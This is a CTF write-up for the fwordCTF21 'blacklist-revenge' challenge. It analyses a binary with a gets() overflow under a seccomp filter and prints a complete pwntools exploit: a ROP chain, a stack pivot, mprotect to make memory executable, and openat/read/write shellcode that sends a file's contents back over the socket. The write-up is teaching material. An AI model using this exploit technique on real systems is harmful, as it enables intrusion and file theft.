# Intro
## Chit-chat
Been a while, huh?
This is a writeup for the `blacklist-revenge` challenge from [fwordCTF21](https://ctftime.org/event/1405). Its a pretty cool challenge, with some lessons to teach, and even though the challenge was, admittedly fairly easy I feel it still has educational value. Thats why i'm here, of course.
My previous statement about the challenge being "fairly easy" sounds quite ironic when you realise that I was not the one who originally solved the challenge; that was someone else on my team. Although I quite believe I *could* have solved the challenge for the team, had he not been so fast.
## The challenge
Now that i'm done rambling, whats up with the challenge? 
The description reads:
```It's time to revenge !flag is in /home/fbi/flag.txtNote : There is no stdout/stderr in the server , can you manage it this year?```
With stdout + stderr disabled, this might pose a bit of a challenge when trying to exfiltrate the flag. I did my usual which is running `file` and `checksec` on the binary, just to see what were dealing with:
```[~/D/f/BlackList_Revenge] : file blacklist                                                                          blacklist: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=890009ffb99771b08ad8ac3971e9aef644bce402, for GNU/Linux 3.2.0, not stripped[~/D/f/BlackList_Revenge] : checksec --file blacklist                                                        [*] '/root/Documents/fword21/BlackList_Revenge/blacklist'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
This is already pretty promising; no PIE AND statically linked. This means once we find an exploitable bug we can immediately start ropping, so lets take a look inside.
### The binary
Starting from the beginning:
```cint __cdecl main(int argc, const char **argv, const char **envp){  init_0();  vuln();  return 0;}```
It looks pretty simple, nice. Lets check out `init_0` first:
```c__int64 init_0(){  int syscall_arr[6]; // [rsp+0h] [rbp-30h]  __int64 filter; // [rsp+20h] [rbp-10h]  unsigned int i; // [rsp+2Ch] [rbp-4h]
  setvbuf(stdout, 0LL, 2LL, 0LL);  setvbuf(stdin, 0LL, 2LL, 0LL);  setvbuf(stderr, 0LL, 2LL, 0LL);  filter = seccomp_init(0x7FFF0000LL);          // kill if encountered  syscall_arr[0] = 2;                           // open  syscall_arr[1] = 0x38;                        // clone  syscall_arr[2] = 0x39;                        // fork  syscall_arr[3] = 0x3A;                        // vfork  syscall_arr[4] = 0x3B;                        // execve  syscall_arr[5] = 0x142;                       // execveat  for ( i = 0; i <= 5; ++i )    (seccomp_rule_add)(filter, 0, syscall_arr[i], 0);  return seccomp_load(filter);}```
You can see we disable buffering on stdin + out + err. We then piece together and load a seccomp filter. Here we restrict several syscalls., including `execve` and its brother `execveat`, so no shells for us ;(. Lets dump the seccomp rules with `seccomp-tools` as well, just to be sure:
```c[~/D/f/BlackList_Revenge] : seccomp-tools dump ./blacklist  line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012 0005: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0012 0006: 0x15 0x05 0x00 0x00000038  if (A == clone) goto 0012 0007: 0x15 0x04 0x00 0x00000039  if (A == fork) goto 0012 0008: 0x15 0x03 0x00 0x0000003a  if (A == vfork) goto 0012 0009: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0012 0010: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0012: 0x06 0x00 0x00 0x00000000  return KILL```
From the top, we can see they limit syscalls to 64 bit versions rather than 32, pretty sure this is the default, so this means no `int 0x80`s allowed, so cant bypass the filter that way. 
Lets now take a look at the `vuln` function:
```c__int64 __fastcall vuln(){  char buf[64]; // [rsp+0h] [rbp-40h] BYREF
  gets(buf);  return 0LL;}```
Classy, huh? I havent seen `gets()` used in a while so it was pretty cool to see it again. So to recap:
We have:- No PIE, and statically linked; many gadgets available to us right out the door.- Easy bof vulnerability on the stack.- ... But, we cant get a shell, so we have to use some combination of ORW, but using `openat` instead of open to net us the flag.
# Exploitation
My exploit is fairly simple. It has 3 stages:
1. Overflow buffer, rop together a call to `read` into the bss to load a stage 2. I do this because I dont want to deal with `gets()` and its badchars.2. Pivot the stack into the bss where a ropchain is waiting.3. The ropchain rwx's the bss, then jumps to shellcode I had loaded after.
Here's what it looks like:
```pyfrom pwn import *import string
context.arch = 'amd64'
script = '''break *vuln+29continue'''
# Print out contents (only up to 0x50 bytes of it though for some reason :/) of a file.shellcode = asm('''
    mov rax, 0x101    mov rsi, rdi    xor rdi, rdi    xor rdx, rdx    xor r10, r10    syscall     mov rdi, rax    mov rax, 0    mov rsi, rsp    mov rdx, 0x50    syscall     mov rax, 1    mov rdi, 0    syscall
        ''')
def main():     # For our socket shellcode.     dataseg = 0x00000000004dd000    # Just inside read()    syscall = 0x457a00    # For stack pivot, because fuck gets()    pop_rbp = 0x41ed8f    leave = 0x0000000000401e78
    rop = ROP("./blacklist")    elf = ELF("./blacklist")     # This is effected by bachars bcuz gets(), so im gonna load a stage2.    ropchain = flat(         # I CBA dealing with the stack, so bss instead :)        # read(0, dataseg, 0x1000)        rop.rdi.address,                                                          0,           rop.rsi.address,        dataseg,        rop.rdx.address,        0x1000,        syscall,
        pop_rbp,        dataseg+0x20, # +0x20 to leave room for filenames n shit        leave,            )     # This is not affected by badchars, bcuz read() :).    rop2 = flat(         path := b"/home/fbi/flag.txt\x00",        b"A"*(0x20 - (len(path) - 8)),         # shellcode here because rop is annoying.         # mprotect(dataseg, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC)        rop.rax.address,        0x0a,        rop.rdi.address,        dataseg,        rop.rsi.address,        0x1000,        rop.rdx.address,        7,        syscall,         # Return into our shellcode...        # Should srop into the somsled somewhere inside the GOT.        dataseg+125,        b"\x90"*50,        shellcode,        )
    #p = process("./blacklist")    # nc 40.71.72.198 1236     p = remote("40.71.72.198", 1236)    #gdb.attach(p, script)
    p.sendline(b"A"*72 + ropchain)
    # read() doesnt need a newline     p.send(rop2)     # We should be recieving some data over stdin, which uses the same socket as stdout for comms with the server. So    # pretty much no difference between the 2.    buf = p.recvall()
    # Clean output a lil     printable = ""    for b in buf:        for c in string.printable:            if b == ord(c):                printable += chr(b)
    print(printable)
if __name__ == "__main__":    main()```
Something I can suggest to fellow pwn-players is making use of pwntools; it `asm` function is extremely powerful, and automatic rop-gadget finding is extremely good, especially if you just CBA.
Some amongst you may have noticed something strange, specifically inside some of my shellcode:
```asm    ; openat(0, "/home/fbi/flag.txt", O_RDONLY, 0);    mov rax, 0x101    mov rsi, rdi    xor rdi, rdi    xor rdx, rdx    xor r10, r10    syscall     ; read(flag_fd, rsp, 0x50)    mov rdi, rax    mov rax, 0    mov rsi, rsp    mov rdx, 0x50    syscall     ; write(0, rsp, 0x50)    mov rax, 1    mov rdi, 0    syscall```
Specifically the last 2/3 lines. How on earth does that work? We know writing to stdin is possible, of course you can write into the stdin of another terminal session and ruin someones day, but how are we able to recieve it the same way we would recieve stdout from the server?
## A tale of sockets and servers
This is, in all actuality pretty easy to explain. Take a look at this diagram:
![Socket/Client diagram](https://www.cs.uregina.ca/Links/class-info/330/Sockets/server-client.png)
[here](https://www.cs.uregina.ca/Links/class-info/330/Sockets/sockets.html)
A server, like the one our challenge was running on will listen for a connection, and wait in a loop, `accept()`ing any connections that come its way. `accept()` will then give the server a file descriptor which can be used to communicate with the client. Its important to note that this is FULL duplex; if I, as the server want to read OR write data to/from the client, I use this pipe as the sole medium to do so.
With this knowledge, we can look back on how our shellcode works. Since the `write()` is actually SENDING data to us, its irrelevant what file descriptor is used, because in the end the client will recieve the data over the same socket anyway. This essentially shows us that in a networked context stdin, stdout, and stderr are essentially exactly the same thing (one socket to rule them all).
Btw if I got anything wrong above, feel free to correct me, but thats my understanding.
Another thing, earlier I mentioned that stdout and stderr are closed in this challenge. This is not true of the local binary, so im not actually sure how this is implemented but its definitely only server side.
# Closing thoughts
A hacker has to think outside the box, wether you do pwn, crypto, web, or rev (or all of them) each requires the hacker mindset. 
In our shellcode, for example we *could* have just created a NEW socket to transmit the flag over, but why would we do that when we already have a perfectly usable socket already created?
I probably need to get better at thinking this way, since the idea did not even cross my mind.
Thanks for sticking around this far, if you did.
# References
- https://man7.org/linux/man-pages/man2/accept.2.html- https://www.cs.uregina.ca/Links/class-info/330/Sockets/sockets.html- https://man7.org/linux/man-pages/man2/seccomp.2.htm